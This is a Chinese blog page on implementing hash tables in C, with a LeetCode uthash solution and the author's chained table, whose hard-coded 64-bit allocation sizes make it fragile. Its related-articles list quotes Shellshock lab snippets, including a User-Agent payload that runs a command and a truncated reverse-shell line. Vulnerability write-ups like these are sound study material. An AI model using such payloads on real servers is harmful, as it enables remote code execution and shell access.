c语言 hash表

article/2025/9/17 16:53:07

先存着,c语言真就啥都没有呗

struct hashTable {int key;UT_hash_handle hh;
};bool containsDuplicate(int* nums, int numsSize) {struct hashTable* set = NULL;for (int i = 0; i < numsSize; i++) {struct hashTable* tmp;HASH_FIND_INT(set, nums + i, tmp);if (tmp == NULL) {tmp = malloc(sizeof(struct hashTable));tmp->key = nums[i];HASH_ADD_INT(set, key, tmp);} else {return true;}}return false;
}作者:LeetCode-Solution
链接:https://leetcode.cn/problems/contains-duplicate/solution/cun-zai-zhong-fu-yuan-su-by-leetcode-sol-iedd/
来源:力扣(LeetCode)
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

实现hashtable,大概写了下int类型的,,大概思路就是一个指针p指向一块内存,
这块内存有若干指针,分别指向一个链表,链表在hash碰撞的时候增加节点,牺牲内存增加速度

#include<stdio.h>
#include<stdlib.h>
#define max_len 50
#define GET_KEY(num) (num)%max_len
typedef struct hashnode {struct hashnode* next;int value;int count;
}Hashnode;
void init(Hashnode** hashtable, int size);
void display(Hashnode** hashtable, int size);
void find(Hashnode** hashtable, int size, int num);
void test_null(Hashnode* p);void main() {int num[max_len * 2];for (int i = 0; i < max_len * 2; i++) {num[i] = i + max_len;printf("%d ", num[i]);}printf("\n");Hashnode** hashtable = (Hashnode**)malloc(max_len * 8 + 8);test_null(hashtable);init(hashtable, max_len);num[98] = 50;for (int i = 0; i < max_len * 2; i++) {find(hashtable, max_len, num[i]);}display(hashtable, max_len);}void init(Hashnode** hashtable, int size) {Hashnode** p = hashtable;for (int i = 0; i < size; i++) {;(*p)= (Hashnode*)malloc(16);test_null(*p);(*p)->next = NULL;(*p)->value = -1;(*p)->count = 0;p++;}
}void display(Hashnode** hashtable, int size) {for (int i = 0; i < size; i++) {Hashnode* p = *(hashtable + i);while (p) {printf("%d %d ", p->value, p->count);p = p->next;}printf("\n");}printf("\n\n");}void find(Hashnode** hashtable, int size,int num) {int pos = GET_KEY(num),flag=0;Hashnode* p = *(hashtable + pos),*q=p;while (p) {if (p->value == -1) {p->value = num;p->count++;flag = 1;break;}if (p->value == num) {p->count++;flag = 1;break;}else {q = p;p = p->next;}}if (!flag) {Hashnode* node = (Hashnode*)malloc(16);test_null(node);node->value = num;node->next = NULL;node->count = 1;q->next = node;}
}
//vs还是会有没检查内存的警告,不知道是这么写有问题还是vs检查不到
void test_null(Hashnode* p) {if (!p) {printf("error\n");exit(1);}
}

在这里插入图片描述
在这里插入图片描述


http://chatgpt.dhexx.cn/article/Z47CqfVd.shtml

相关文章

Hash表查找

HASH 定义 根据设定的哈希函数 H(key) 和所选中的处理冲突的方法&#xff0c;将一组关键字映象到一个有限的、地址连续的地址集 (区间) 上&#xff0c;并以关键字在地址集中的“象”作为相应记录在表中的存储位置&#xff0c;如此构造所得的查找表称之为“哈希表” HASH函数…

Hash表的简单实现

Hash表的定义 哈希表(Hash table&#xff0c;也叫散列表)&#xff0c;是根据关键字值(key)直接进行访问的数据结构&#xff0c;它通过把关键字值 映射到表中一个位置 (数组下标 )来直接访问&#xff0c;以加快查找 关键字值的速度。这个映射函数叫做 哈希(散列)函数&#xff0…

数据结构之Hash表(哈希表)

参考书籍&#xff1a;大话数据结构 一、Hash表定义 在记录的存储位置和它的关键字之间建立一个确定的对应关系f&#xff0c;使得每个关键字key对应一个存储位置。查找的时候&#xff0c;根据这个确定的对应关系找到给定值key的映射f(key)。 类似于中学数学中的函数&#xff0c;…

python hash表

在查找过程中不经过关键字的比较. 在待查的关键字值和它的存储位置之间建立一个确定的对应关系,则查找时不必再进行关键字值间的比较. 根据设定的哈希函数以及处理冲突的方法将查找表中各个数据元素存储在一段有限的连续空间中.即获得哈希表. 简单理解把key值通过函数映射为一…

hash表和hashmap

hash表和hashmap 一、哈希表 哈希(hash)表&#xff1a;在哈希表中进行添加&#xff0c;删除&#xff0c;查找等操作&#xff0c;性能十分之高&#xff0c;不考虑哈希冲突的情况下&#xff08;后面会探讨下哈希冲突的情况&#xff09;&#xff0c;仅需一次定位即可完成&#xf…

hash表(学习笔记)

hash表又叫散列表&#xff0c;是一种用来存放数据的数据结构。用于快速查询 hash表就是一种数组&#xff0c;输入关键字&#xff0c;通过hash函数得到&#xff0c;对应数据的下标。&#xff08;hash值就是下标&#xff09; hash函数根据关键字设计&#xff0c;主要原理&#…

Hash表(C语言)

一、简介: 哈希表又称散列表。哈希表存储的基本思想是&#xff1a;以数据表中的每个记录的关键字 key为自变量&#xff0c;通过一种函数H(key)计算出函数值。把这个值解释为一块连续存储空间&#xff08;即数组空间&#xff09;的单元地址&#xff08;即下标&#xff09;&…

什么是Hash表

1.定义 Hash&#xff08;散列/哈希&#xff09;&#xff0c;就是把任意长度的输入&#xff08;又叫做预映射&#xff0c; pre-image&#xff09;&#xff0c;通过散列算法&#xff0c;变换成固定长度的输出&#xff0c;该输出就是散列值。这种转换是一种压缩映射&#xff0c;也…

HASH表的创建(C语言)

HASH表的创建&#xff08;C语言&#xff09; 一、简介: 哈希表又称散列表。哈希表存储的基本思想是&#xff1a;以数据表中的每个记录的关键字 key为自变量&#xff0c;通过一种函数H(key)计算出函数值。把这个值解释为一块连续存储空间&#xff08;即数组空间&#xff09;的单…

java中HashMap与Hash表详解

转载至https://blog.csdn.net/u010297957/article/details/51974340 哈希算法&#xff0c;是一类算法&#xff1b;哈希表&#xff08;Hash Table&#xff09;是一种数据结构&#xff1b;哈希函数&#xff0c;是支撑哈希表的一类函数&#xff1b;Map是映射、地图的意思&#xff…

c实现Hash表

目录 一、简介 二、hash表结构图 三、结构定义 四、成员函数 初始化 销毁 辅助函数 辅助函数 添加 删除结点 查找 打印函数 测试 一、简介 使用crc16作为hash函数&#xff1b; 使用拉链法解决hash冲突; 简单的hash表; 二、hash表结构图 三、结构定义 1.hash函…

hash表的实现原理

hash表的实现原理 哈希表&#xff08;Hash table&#xff0c;也叫散列表&#xff09;&#xff0c;所谓hash表&#xff0c;就是以 键-值(key-indexed) 的形式存储的数据结构。可以根据key来快速的查找到value。也就是说&#xff0c;它通过把key值映射到表中一个位置来访问记录&a…

哈希表是什么

一.什么是哈希表 ​散列表&#xff08;Hash table&#xff0c;也叫哈希表&#xff09;&#xff0c;是根据键&#xff08;Key&#xff09;而直接访问在内存存储位置的数据结构。也就是说&#xff0c;它通过计算一个关于键值的函数&#xff0c;将所需查询的数据映射到表中一个位…

数据结构 Hash表(哈希表)

参考链接&#xff1a;数据结构&#xff08;严蔚敏&#xff09; 文章发布很久了&#xff0c;具体细节已经不清晰了&#xff0c;不再回复各种问题 文章整理自严蔚敏公开课视频 可以参考 https://www.bilibili.com/video/av22258871/ 如果链接失效 可以自行搜索 数据结构严蔚敏视频…

Linux Shell Shock漏洞利用和实战

漏洞介绍&#xff1a; Shellshock&#xff0c;又称Bashdoor&#xff0c;是在Unix中广泛使用的Bash shell中的一个安全漏洞&#xff0c;首次于2014年9月24日公开。许多互联网守护进程&#xff0c;如网页服务器&#xff0c;使用bash来处理某些命令&#xff0c;从而允许攻击者在易…

Bash(shellshock)

影响 漏洞影响&#xff1a;GNU Bash < 4.3 启动服务器 搭建&#xff1a;docker-compose up -d 查看&#xff1a;docker-compose ps 抵达网站 抓包拦截 User-Agent: () { :;};echo ; echo; echo $(/bin/ls /); 反弹shell&#xff1a;User-Agent:() { :; }; /bin/bash -i &g…

shell-awk

文章目录 一、com1.awk的作用和工作模式2.awk同其他文本处理程序的对比3.awk的正则 二、syntax1.basic format2.options&#xff1a;-F -fs 指定行中划分数据字段的字段分隔符。awk中默认的字段分隔符是任意的空白字符&#xff08;例如n个空格或n个制表符tab&#xff09;&#…

【靶场补充】项目十二补充(shellshock原理)

补充&#xff1a;关于项目12shellshock原理以及与CGI的利用原理 靶场WP地址 &#x1f525;系列专栏&#xff1a;Vulnhub百个项目渗透 &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年9月…

[pwnable.kr]shellshock

题目大概是在提示我们跟shellshock有关 看到提供了bash&#xff0c; 先看看c源代码 #include <stdio.h> int main(){setresuid(getegid(), getegid(), getegid());setresgid(getegid(), getegid(), getegid());system("/home/shellshock/bash -c echo shock_me&quo…

vulhub漏洞复现-bash(CVE-2014-6271) shellshock-破壳漏洞

漏洞简介 破壳漏洞&#xff08;shellshock&#xff09;&#xff0c;也被称为bashdoor&#xff0c;是广泛使用的Unix shell中的一系列安全漏洞&#xff0c;其中第一个漏洞于2014年9月24日被披露。许多面向互联网的服务&#xff0c;如一些网络服务器部署&#xff0c;使用bash来处…